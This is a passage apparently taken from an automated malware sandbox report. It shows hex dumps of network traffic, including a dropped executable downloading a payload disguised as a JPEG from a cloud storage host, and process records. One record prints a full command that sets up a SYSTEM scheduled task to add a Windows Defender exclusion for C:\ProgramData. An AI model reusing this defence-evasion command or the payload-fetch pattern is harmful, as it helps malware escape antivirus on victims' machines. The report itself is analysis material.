73 1a dc 78 f5 54 c0 09 e3 53 1a 57 f1 88 1f f9 f7 41 dd c4 eb 74 19 ad 09 5d 4b c5 25 7f a9 10 ba 2e 1a 5c 79 23 15 00 2d cb 6f Data Ascii: wV(s_;f6/{PB^=Xj5o:7MP6%R<>%Me'n8-eJi\|2])(<]t_W%gHJWxe@Zc'Hoj&.+8vs1kxj?]W6d(osxTSWAt]K%.\y#-o
2025-01-15 03:23:58 UTC	4096	IN	Data Raw: f5 f5 f3 fb ff fd f3 f5 f7 f5 f3 eb ef ed d3 d5 d7 d5 d3 dd bf a7 d3 d5 d3 d5 d3 2d 2f 2d 33 37 37 75 32 3d 3f 2d 33 35 27 35 33 2d 2f 3d 53 55 47 55 53 5d 5f 5d 53 45 57 55 53 11 b2 50 73 3f 77 75 73 f1 8d 4d 73 a9 77 75 73 6d 3f 17 53 b5 56 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 35 37 35 33 3d 0f 47 33 15 2c 35 33 2d 2f 2d d3 d5 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed f3 f5 f7 f5 f3 fd ff fd f3 f5 f7 f5 f3 4d c9 97 d3 95 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 2d 1f 00 33 51 37 35 33 3d 3f 3d 33 35 37 35 33 2d 2f 2d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 43 1b 08 0b 01 77 75 73 1e cd 7c 73 75 67 75 73 6d 6f 6d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 15 37 35 53 13 4d 59 52 41 56 35 33 e5 a6 2d d3 d5 07 d4 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed f3 Data Ascii: -/-377u2=?-35'53-/=SUGUS]_]SEWUSPs?wusMswusm?SVUS]_]SUWUS-/-35753=G3,53-/-M-3Q753=?=35753-/-SUWUS]_]SUWUSCwus\|sugusmomSUWUS]_]SUWUS-/-375SMYRAV53-
2025-01-15 03:23:58 UTC	4096	IN	Data Raw: d1 7d e2 3a fb d9 7f 2d 5c 08 7e 89 cb e9 3a 78 19 d3 d3 54 a8 dd 3b c0 68 9c d3 da f6 a0 3f b8 09 85 13 9c b2 89 02 f5 bb 84 84 22 99 a1 5c eb db e4 e4 52 d7 a8 84 57 57 3d d3 53 dd 2c 15 fe 48 f8 17 59 7b 94 02 a5 74 75 f2 ab 6b 6d 53 55 5c 97 a4 8d b7 85 fd 1e 57 33 82 c4 fc f5 5b b3 98 02 7d b4 7b 18 33 b8 53 11 3f c4 e7 e4 99 d5 df 7a 12 6b f1 4b ab 5b 8f 5c 2e 0b c5 75 fb 0d d3 04 7a 6d a5 1d 7f b1 af 41 46 fd 97 72 44 70 9c 6c f0 98 c6 38 c7 3a 4f 9d 67 53 5d 8b 18 45 fa 27 78 f9 2c e7 bf e3 1a 15 03 e6 d9 54 24 d6 03 bf c8 c3 24 e4 ff 0d e1 62 93 bb 32 d3 1d e0 a9 69 56 22 dc 79 04 9f f6 79 91 f4 ce a4 27 3e 2c 7c 5a 6b f3 21 34 52 4f 12 6e 97 99 0b 32 20 48 ad 50 69 a7 06 6a 8b 46 53 7e 44 e7 8d 63 9d 43 d3 36 f2 39 ef 4b 76 db 20 c3 a9 cd f4 6d Data Ascii: }:-\~:xT;h?"\RWW=S,HY{tukmSU\W3[}{3S?zkK[\.uzmAFrDpl8:OgS]E'x,T$$b2iV"yy'>,\|Zk!4ROn2 HPijFS~DcC69Kv m
2025-01-15 03:23:58 UTC	4096	IN	Data Raw: 5c f2 f3 f2 cb a8 4e 59 1d d2 ce 66 43 81 7b ff 67 50 14 99 fb dd 4e 2d 27 1b 3b 32 e1 3d 33 3a 03 dd 71 52 2f 3d b3 f7 09 f2 37 09 35 05 d2 00 d7 a7 6e a2 5b 79 ad 9f 96 b5 c6 ed 9d 66 b3 39 53 74 34 ad bd bc 93 b3 fe 71 77 93 a5 84 18 86 55 55 ba d3 80 5c 53 d8 33 71 4b ee a2 49 17 31 de 70 f5 2e 3f d4 1a 6a 27 35 da f8 c9 29 d3 3d 14 a5 d5 dd 18 d9 f7 74 d2 59 bd 8b 6e 18 e6 02 30 b1 d7 f9 6b fa e2 61 91 0a 36 8b dc 30 3b 0f bb de d3 87 8c 44 53 a3 22 0d aa a3 e3 13 d4 68 4b 97 1e 19 a2 5f ef 4f 5c 9c 5f 83 e2 ed 0e 6b 27 d3 18 e0 1f 57 f6 99 4e 8f 66 e4 e9 d6 c4 39 a5 10 98 95 71 d9 7b bc 71 9c 9c 89 c1 9c 58 3a b4 2b 66 f8 3c 84 df 79 ba 43 96 ad af 4f c6 9e 70 72 72 50 0a 98 50 ac 17 9d c0 f8 94 89 96 25 87 df 01 09 25 05 6d 3f 30 e0 76 8e 06 07 6c Data Ascii: \NYfC{gPN-';2=3:qR/=75n[yf9St4qwUU\S3qKI1p.?j'5)=tYn0ka60;DS"hK_O\_k'WNf9q{qX:+f<yCOprrPP%%m?0vl
2025-01-15 03:23:58 UTC	4096	IN	Data Raw: 20 fb 64 56 1a 91 6e df 20 2c 89 77 e2 e2 05 39 f2 8e f5 00 2d 52 de 02 01 04 ca 1a ce 6a d2 47 a1 f6 d0 fe 59 5f 7b be ab de 7e b5 7b 3a bc 5c 60 b4 14 c4 40 8e 4f 1b d3 50 30 ca 88 05 19 87 a6 6c 44 9c 38 ec 39 0e 59 7b 02 e0 f1 72 5e f5 ad 67 1a cd 99 59 ab ba 5e 62 b2 6a a6 96 6c 3f b0 7f 47 31 af f9 8d b1 e6 2c 04 cc 68 ac 20 ea 27 da fc 3a c9 29 c2 2d 03 bc 6d b2 50 da 12 b2 4e b6 81 da 21 4d f8 86 bb 30 9c c3 3a 42 00 c7 75 98 22 d5 e2 ed f7 ca c4 d5 09 a4 4e 82 04 d4 70 9c 5e b4 e3 6c a8 46 17 b5 25 7a 7b b5 5c 61 52 62 b2 1a fe 80 42 8b a0 8b af 69 84 9a 79 9f 8b 45 e0 9d 05 e1 0c 2d e5 1f 50 b8 e2 04 38 e7 df 32 37 b0 48 b1 af 82 c3 27 a8 d2 aa e1 62 df e9 b2 a2 12 f5 be 96 d6 5d 5d 4d 27 3a 1a 32 92 06 ad 9a 5b a6 db 14 ee 80 13 e1 a7 67 c5 71 Data Ascii: dVn ,w9-RjGY_{~{:\`@OP0lD89Y{r^gY^bjl?G1,h ':)-mPN!M0:Bu"Np^lF%z{\aRbBiyE-P827H'b]]M':2[gq
2025-01-15 03:23:58 UTC	4096	IN	Data Raw: 11 ac 16 c6 07 c4 9d 58 cd bb f4 f0 2b 3a 16 5a da 8a 33 81 27 42 b4 e4 1c b3 44 f3 eb 30 85 ed 13 a0 b4 46 35 68 06 83 59 2b bf 9b 83 03 97 31 12 15 bc 78 b1 76 b9 71 21 32 04 6b 81 a4 83 32 6f d6 69 98 27 df ea f9 0c 4f 4b 67 2f 4b 06 67 44 04 ef 78 60 0a 1a 43 f5 40 32 c2 0d 65 17 e5 08 cc a8 23 c1 d9 dd 70 6e 88 fc 7f 8d 81 6d 3c 8a c0 7c 8f 3d 55 13 79 ca fa 4f 7d 9f 59 1f ab 7a 58 3c b6 7e 0a 9f 2b 23 7e 6a 96 9f 38 e0 63 e5 5a 1a 32 5b b4 2a 2e c8 4b fc 30 60 d4 a2 2b 2b bb 40 ab 29 c3 47 5a c5 72 2a 67 22 60 fd 3a 2c 8c 49 94 ad 10 8c f4 1c aa 13 b2 44 63 6e 0d 2e 1c 0e 75 75 75 69 83 57 e4 6c 56 e5 7f 18 20 b8 d1 37 88 2a 1b 65 fe 57 b8 31 b5 b2 3c d8 01 d7 18 1c 20 44 7d d7 1c 11 ca 50 b1 34 77 e7 17 39 01 6f c0 e8 d3 94 88 53 e8 54 bc 80 c3 59 Data Ascii: X+:Z3'BD0F5hY+1xvq!2k2oi'OKg/KgDx`C@2e#pnm<\|=UyO}YzX<~+#~j8cZ2[.K0`++@)GZrg"`:,IDcn.uuuiWlV 7*eW1< D}P4w9oSTY
2025-01-15 03:23:58 UTC	4096	IN	Data Raw: ef cc 4c d0 d3 09 06 21 8c 0a e4 fd 58 ee 29 db 81 82 6d c1 a4 30 bc c1 88 36 cd ab 62 b5 32 ab fb fb ec 20 e3 1f be d1 52 c7 7b bf 58 54 f3 43 f2 8d 0e 8b f7 13 10 a0 bb 4f ee a1 7a 27 8f 37 90 b6 93 e7 12 94 df b3 75 98 ed 5e 3f 26 b3 6b dc e4 4b ac 06 65 59 29 76 21 46 e6 59 50 ec 8d 23 41 76 61 bd b4 2a c0 a1 d0 00 7d 85 b9 46 a9 73 14 b0 38 5b 50 8e c5 4d 41 4e b1 33 ec 52 c8 9b 60 d6 75 f5 94 ee 23 f4 6f f6 e6 d2 e9 4d 56 be d7 e4 8f 26 6e aa 79 e5 e6 5e 13 6c 17 b6 e2 e2 11 f5 fe 7e 0b 44 9b c6 aa 3a f9 70 8c 7b bc 07 41 a6 db 37 9c 40 ed 30 d4 63 08 f2 34 c3 bc 19 00 1b 0e a0 05 0a d9 18 ea e0 fd 6c 8a 5d c5 2d 44 59 87 c8 6a f8 9f 94 42 5d b7 0d 78 f1 3b 58 f0 58 03 2c 94 05 87 6d 14 59 c3 c8 52 68 6d 20 54 3c df df dd d3 b3 5e da 3a d6 ef ef f3 Data Ascii: L!X)m06b2 R{XTCOz'7u^?&kKeY)v!FYP#Ava*}Fs8[PMAN3R`u#oMV&ny^l~D:p{A7@0c4l]-DYjB]x;XX,mYRhm T<^:
2025-01-15 03:23:58 UTC	4096	IN	Data Raw: 15 03 58 89 56 b4 b6 a2 ad 03 9c f1 67 d1 75 f3 e8 19 38 39 86 89 50 71 f6 9c 55 6e f0 3c 79 b6 4b a6 36 b9 b4 a2 ab 24 ae 39 77 96 dd 86 d0 fd 7d 97 cb 0d f0 c5 e3 02 f9 c1 52 24 d9 92 d5 0f ce ba 02 8d 60 9d a4 7e 46 0c f6 07 7e 6e 99 9f b7 49 61 ff 7c c2 1d c4 45 e2 10 ab 9d 5d f3 48 c7 32 f2 49 bd 7e 2c f3 14 b8 55 84 3b b6 cd f2 2c a2 4e c8 2f 6a 5f 90 af 64 33 93 34 22 de 67 0c 00 0a 07 58 6d 1d 91 a5 e8 77 57 3e 92 ad 64 db 25 db 5a a7 9e fb ee 37 1e bf 9f 1c 20 8f 58 83 8e 9c 9d 1a 84 f4 2f e8 b6 e9 fc 5c 14 cf 3d a8 20 c1 36 73 8b 6d ad fa 19 32 a5 19 e7 34 c8 51 2a b2 c7 6f 71 16 6b 1a c9 12 87 4a 5b 13 27 7e 0c 5d 42 3e 1f df 6d a6 94 82 5a 53 5e fd 07 49 a4 e3 fa f2 49 de ae 8b 50 62 d9 cf c2 ba 82 06 00 8f 34 6e 19 e8 d9 e4 90 5c e0 85 6f a3 Data Ascii: XVgu89PqUn<yK6$9w}R$`~F~nIa\|E]H2I~,U;,N/j_d34"gXmwW>d%Z7 X/\= 6sm24Q*oqkJ['~]B>mZS^IIPb4n\o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	64605	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:24:07 UTC	115	OUT	GET /FOM-53.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:24:08 UTC	548	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:24:08 GMT Content-Type: image/jpeg Content-Length: 366410 Connection: close x-oss-request-id: 67872A585C00693037B6C2E2 Accept-Ranges: bytes ETag: "DA1D5EB665D3AAD523BE59415E6449ED" Last-Modified: Tue, 22 Oct 2024 14:47:51 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5641369857548672686 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 2h1etmXTqtUjvllBXmRJ7Q== x-oss-server-time: 118
2025-01-15 03:24:08 UTC	3548	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-15 03:24:08 UTC	4096	IN	Data Raw: 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 Data Ascii: ```````````````````````````````````````````````````````````````
2025-01-15 03:24:08 UTC	4096	IN	Data Raw: 60 60 60 60 eb 25 68 30 9f 75 d0 14 62 70 e9 25 84 e3 1d 84 60 15 67 52 a0 89 a9 60 60 60 06 67 e5 4c a2 a0 c6 2b ed ac f1 5f b5 0c d4 a2 b0 c6 29 e5 4e 2b f5 44 2b e2 ac 2b a8 2b b1 29 f5 10 8a f0 6d a5 0c b0 6b ad 34 6b b1 a8 b2 1f f5 2c 94 e2 f0 63 18 1f 95 e7 d2 20 09 68 e0 e0 e0 67 e5 5c a1 a0 a0 a0 ca a4 2d e5 5c f0 ca a8 c8 5f 5f a0 a0 2b ed 74 2b f1 e8 f2 5f b5 08 d4 a2 70 e5 a0 15 59 a7 25 b8 61 60 60 60 a7 25 bc 40 df 62 60 a7 25 80 e8 73 60 60 0a 60 0a 60 ed 25 48 f0 ca a0 ca a0 ca ac 2d ed 78 f1 c8 a4 a0 a0 38 2b f5 74 2b e2 e8 f0 5f b5 00 d4 a2 b0 2b ed 34 26 a1 b3 e1 8a e0 8a e0 8a e0 6b b5 34 b2 88 69 f7 e0 f0 8a e0 8a e0 08 da 10 e0 e0 63 24 fc 2b ed 74 29 e1 e4 10 a1 2b 45 fd 62 a8 a0 f5 2b 4c 18 b8 6a a0 a0 48 9a a7 a1 a0 f6 f7 2b e5 a8 Data Ascii: ````%h0ubp%`gR```gL+_)N+D+++)mk4k,c hg\-\__+t+_pY%a```%@b`%s````%H-x8+t+_+4&k4ic$+t)+Eb+LjH+
2025-01-15 03:24:08 UTC	4096	IN	Data Raw: ed 2c 9d 9f 9f 31 ed f5 f4 9e 9f 9f 32 88 1d 9d 60 60 e3 a4 70 ed e5 f4 9e 9f 9f 30 ed ed 10 5d 5f 5f f1 5f b5 30 d2 a2 b0 ca a0 c8 20 a0 a0 a0 ca a2 ca a0 ca a2 c8 a0 a0 a0 e0 c8 a0 4c a2 f0 1f f5 74 92 e2 f0 69 65 84 1d 1f 1f 63 5d 84 1d 1f 1f 1f 95 e7 d3 20 09 0a e0 e0 e0 8a e0 6d 35 cc 5d 5f 5f f2 2b e5 a8 f0 48 06 5c a0 a0 23 64 a4 2b ed ac 8b 68 23 49 a1 f1 2b f5 a8 f2 48 f1 9c 60 60 e3 a4 64 eb 2d 68 ed 34 61 61 32 eb e5 04 9d 9f 9f 30 9f 75 f8 12 62 70 eb ed 04 9d 5f 5f f1 5f b5 44 d2 a2 b0 c8 54 a1 a0 a0 5f b5 6c d2 a2 b0 ca a1 c8 8c 4c a2 b0 48 61 5c 5f 5f 63 24 e8 8a e0 88 b8 0c e2 f0 08 dd 1b e0 e0 63 24 e8 63 18 1f 94 d0 8a e0 8a e0 8a e0 6d 75 18 5e 5f 5f f2 c8 24 4c a2 b0 ca a0 5f b5 a0 d3 a2 b0 ca a0 01 68 ec a5 b0 f0 5f b5 3c d2 a2 b0 ca Data Ascii: ,12``p0]___0 Ltiec] m5]__+H\#d+h#I+H``d-h4aa20ubp___DT_lLHa\__c$c$cmu^__$L_h_<
2025-01-15 03:24:08 UTC	4096	IN	Data Raw: 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 44 45 46 47 48 49 4e 4e 4e 4a 4b 4e 8e 8e 8c 8d f5 2b 4c 21 4c 18 a2 a0 a0 29 2d e8 5d 5f 5f c8 ac 4e a2 b0 48 3e a3 a0 a0 23 64 a4 8a e0 88 f4 0e e2 f0 08 d5 0d 1f 1f 63 24 e8 8a e0 88 d0 0e e2 f0 08 c6 0d 1f 1f 63 24 e8 88 08 a3 a0 a0 5f b5 6c d2 a2 b0 c8 e8 4e a2 b0 5f b5 20 d2 a2 b0 c8 c0 4e a2 b0 5f b5 20 d2 a2 b0 c8 88 63 60 60 9f 75 ac 12 62 70 08 64 61 60 60 ed e5 98 9e 9f 9f 30 0a 60 9f 75 e4 12 62 70 a6 e5 24 5e 5f 5f eb 66 25 25 5e 5f 5f e5 66 25 26 5e 5f 5f f2 66 25 27 5e 5f 5f ee 66 25 28 5e 5f 5f a5 26 65 69 1e 1f 1f ac 26 65 6a 1e 1f 1f d3 26 65 6b 1e 1f 1f d2 26 65 6c 1e 1f 1f ce 26 65 6d 5e 5f 5f c4 66 25 2e 5e 5f 5f cc 66 25 2f 5e 5f 5f cc 66 25 30 5e 5f 5f a0 66 25 d4 5e 5f 5f e7 Data Ascii: NNNNNNNNNNNNNNNNNNNDEFGHINNNJKN+L!L)-]__NH>#dc$c$_lN_ N_ c``ubpda``0`ubp$^__f%%^__f%&^__f%'^__f%(^__&ei&ej&ek&el&em^__f%.^__f%/^__f%0^__f%^__
2025-01-15 03:24:08 UTC	4096	IN	Data Raw: 9f 75 90 12 62 70 d8 61 60 60 60 8b 62 8b 80 eb 85 3d a3 35 eb 8c e3 8c 08 37 eb 25 68 e9 25 38 66 e5 3c a0 19 b8 a0 a0 a0 93 60 2d dd 3d 53 0b c6 0b 0a ca c4 2b ed 38 f1 2d f5 3c f2 48 92 2f e0 e0 63 24 ec 6d a5 7c b0 6b ed 28 09 e2 f0 b1 88 78 a5 e5 f0 6b b5 78 63 22 84 b2 08 df 1f 5f 5f 23 64 b0 93 60 ff 2b 45 fd 62 a4 a0 f5 2b 4c ca a0 01 68 49 a2 b0 f0 c8 38 e5 a5 b0 2b ed 68 31 88 7a 9f 9f 9f e3 a4 70 53 a0 3d a2 64 60 35 eb 8c 0a 60 c1 60 60 60 70 30 08 60 60 60 70 2b ed a8 f1 48 58 5e 5f 5f 23 64 b0 93 60 fd 62 a4 a0 f5 2b 4c 21 4c 80 a4 a0 a0 f7 c8 cc 4f a2 f0 1f f5 68 92 e2 f0 69 a5 18 d3 20 86 41 6a dd e5 f0 65 20 95 e5 09 a7 e1 e0 e0 d3 29 86 6b ed 2a 9d a5 b0 29 ed 5c 2b f5 5c 61 42 aa 29 f5 50 ca a0 c8 20 a0 a0 a0 ca a4 ca a0 ca a2 c8 a0 a0 Data Ascii: ubpa```b=57%h%8f<`-=S+8-<H/c$m\|k(xkxc"__#d`+Eb+LhI8+h1zpS=d`5````p0```p+HX^__#d`b+L!LOhi Aje )k*)\+\aB)P
2025-01-15 03:24:08 UTC	4096	IN	Data Raw: 10 61 60 60 eb 25 68 30 ed ed 40 9d 9f 9f 31 88 00 df 60 60 e3 a4 6c a6 e5 f8 9e 9f 9f 60 d9 f9 a0 a0 a0 93 60 2d 1d 39 5e 5f 5f 53 0b c6 0b 0a ca a0 ca a0 ca a2 ca a0 ca a1 c8 a0 a0 a0 e0 6d 75 cc 1e 1f 1f b2 1f f5 74 92 e2 f0 69 65 70 1e 1f 1f 63 5d 70 1e 1f 1f 1f 95 e7 d3 20 09 11 a0 a0 a0 ca a0 2d 25 34 5e 5f 5f f0 2b ed ac 21 49 d0 a1 a0 a0 f1 2b f5 a8 21 62 d0 a1 a0 a0 f2 eb e5 f0 9e 9f 9f 30 9f 75 f8 12 62 70 e5 a0 15 67 53 a0 89 dc 60 60 60 eb ed f0 9e 9f 9f 31 9f b5 a4 ed a5 b0 2d 35 88 5d 5f 5f f2 48 c4 6c a0 a0 23 64 a4 25 60 d4 85 2d 25 88 5d 5f 5f f0 2d 6d cc 1e 1f 1f b1 88 6c 11 e2 f0 6d 75 78 1e 1f 1f b2 1f f5 b4 ad e5 f0 63 24 f0 0b f4 6d 65 cc 5e 5f 5f f0 2d 2d 38 5e 5f 5f f1 5f b5 68 d2 a2 b0 2b 35 84 5d 5f 5f 29 35 bc 5d 5f 5f 23 1d bc Data Ascii: a``%h0@1``l``-9^__Smutiepc]p -%4^__+!I+!b0ubpgS```1-5]__Hl#d%`-%]__-mlmuxc$me^__--8^___h+5]__)5]__#
2025-01-15 03:24:08 UTC	4096	IN	Data Raw: 64 60 ac ac 35 eb 8c 53 a0 c0 4c c6 65 70 e3 80 61 e5 a0 15 6f ea 6d 4c c6 65 70 e0 a9 61 e8 ad 8c 06 a5 b0 fd 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 ac 2a e8 6b b5 1c 68 ea 8a e0 6b ad 1c 08 f5 e2 e0 e0 6b a5 e8 b0 6b ad 1c 08 a9 e1 e0 e0 6b a5 1c 6b 45 fd 62 a8 a0 f5 2b 4c f1 29 ed 5c ca a1 2b ed 5c 48 4f a1 a0 a0 2b 45 fd 63 6c 6c 6c 6c 6c 6c ac ac ac ac ac 35 eb 8c 31 e9 2d 9c ea 25 68 30 0a 61 eb 2d 9c 88 eb 60 60 60 eb 85 3d a2 64 60 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 5c 2b e8 a8 9b ed a8 d7 a5 48 c2 c9 a1 a0 2b ed 5c 48 f1 e1 e0 e0 6b b5 1c 6b a2 e4 e3 a5 e8 6b 05 bd 22 e4 e0 2c 2c b5 6b 0c 63 0c e8 69 ad 1c 6b a5 5c 23 d8 a4 a0 d5 aa 48 c9 a1 a0 a0 29 e5 58 4b a9 2b ed 5c 2b f1 a4 29 f5 58 2b e5 58 2b 45 fd Data Ascii: d`5SLepaomLepacllllllllllllll+L)\+*khkkkkkEb+L)\+\HO+Ecllllll51-%h0a-```=d`lllll+L)\+\+H+\Hkkk",,kcik\#H)XK+\+)X+X+E
2025-01-15 03:24:08 UTC	4096	IN	Data Raw: ea 62 e3 98 1d 15 6a a7 65 0c 94 62 70 60 60 60 60 e3 5d 0c 94 62 70 60 14 41 08 12 74 60 60 5f b5 6c d2 a2 b0 2b 2d 44 5e 5f 5f 48 7c 5c 5f 5f 2b 2d 44 5e 5f 5f 48 ff 5d 5f 5f 2b ed 54 c4 69 ed e0 e0 e0 e0 bf be bb 6b 05 bd 22 e8 e0 2c 2c 2c 2c 2c 2c b5 6b 0c b1 69 ad 1c 6b ad 1c 08 23 5c 5f 5f 2b e5 a8 23 40 a1 25 60 d4 ac 2b ed 5c f1 48 53 3e a0 a0 23 64 a4 2b e5 5c 2b 45 fd a2 64 60 ac ac 35 eb 8c 88 67 60 60 60 88 71 60 60 60 3d a3 35 eb 8c d9 ad 2c 65 70 88 75 3c 61 a0 fd 63 f5 2b 4c c8 f0 d7 a0 b0 48 10 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 19 6d ec a5 b0 48 d3 fd e1 e0 bd 23 b5 6b 0c 08 e7 e0 e0 e0 08 f1 e0 e0 e0 bd 23 b5 6b 0c 59 2c ac e5 f0 08 30 89 e1 e0 fd 63 f5 2b 4c c8 2f d7 a0 b0 48 d1 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 19 6c ec a5 b0 48 90 cb a1 Data Ascii: bjebp````]bp`At``_l+-D^__H\|\__+-D^__H]__+Tik",,,,,,kik#\__+#@%`+\HS>#d+\+Ed`5g```q```=5,epu<ac+LH#dc+LmH#k#kY,0c+L/H#dc+LlH
2025-01-15 03:24:08 UTC	4096	IN	Data Raw: 60 eb 25 d0 30 9f 75 4c 10 62 70 eb 2d f8 e9 2d e4 eb 35 d0 32 9f 75 84 12 62 70 eb 25 cc 30 5f b5 44 d2 a2 b0 2b ed 24 29 ed 18 4b a7 67 e5 18 a0 a0 a0 a0 23 dd 14 a0 d4 aa 2b f5 14 f2 5f f5 ec 92 e2 f0 6b a5 58 6b 05 bd 23 b5 6b 0c 61 0c 7c e5 e0 e0 88 df 68 e0 f0 88 50 3d e4 f0 1f b5 80 d0 a2 b0 03 54 ed a5 b0 67 a5 58 ed a5 b0 80 a0 a0 a0 67 a5 a0 ee a5 b0 a7 a0 a0 a0 67 a5 64 2e 65 70 60 60 60 60 a7 65 70 2e 65 70 b0 67 60 60 a7 65 6c 2e 65 70 61 60 60 60 a7 65 9c 2d a5 b0 a2 a0 a0 a0 c8 58 ed a5 b0 01 54 ed a5 b0 f0 5f b5 c4 d0 a2 b0 67 a5 ac ee a5 b0 a0 a0 a0 e0 88 14 e1 e0 e0 1f f5 2c 92 e2 f0 27 65 8c 1f 1f 1f 74 e0 e0 e0 6d 6d 8c 1f 1f 1f b1 1f f5 f8 d2 a2 b0 23 1d d0 5f 5f 5f a6 d3 96 67 a5 5c ed a5 b0 a4 a0 a0 a0 c8 58 ed a5 b0 2b b5 54 ed a5 Data Ascii: `%0uLbp--52ubp%0_D+$)Kg#+_kXk#ka\|hP=TgXggd.ep````ep.epg``el.epa```e-XT_g,'etmm#___g\X+T

Target ID:	0
Start time:	22:22:06
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\2834573-3676874985.02.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\2834573-3676874985.02.exe"
Imagebase:	0x140000000
File size:	30'942'720 bytes
MD5 hash:	1C8D330D91BCA0E74DAE88BFC72D0710
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:22:53
Start date:	14/01/2025
Path:	C:\Users\user\Documents\77WmQZ.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\77WmQZ.exe
Imagebase:	0x140000000
File size:	133'136 bytes
MD5 hash:	D3709B25AFD8AC9B63CBD4E1E1D962B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:22:55
Start date:	14/01/2025
Path:	C:\Users\user\Documents\77WmQZ.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\77WmQZ.exe
Imagebase:	0x140000000
File size:	133'136 bytes
MD5 hash:	D3709B25AFD8AC9B63CBD4E1E1D962B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:23:06
Start date:	14/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
Imagebase:	0x7ff62bed0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:23:06
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
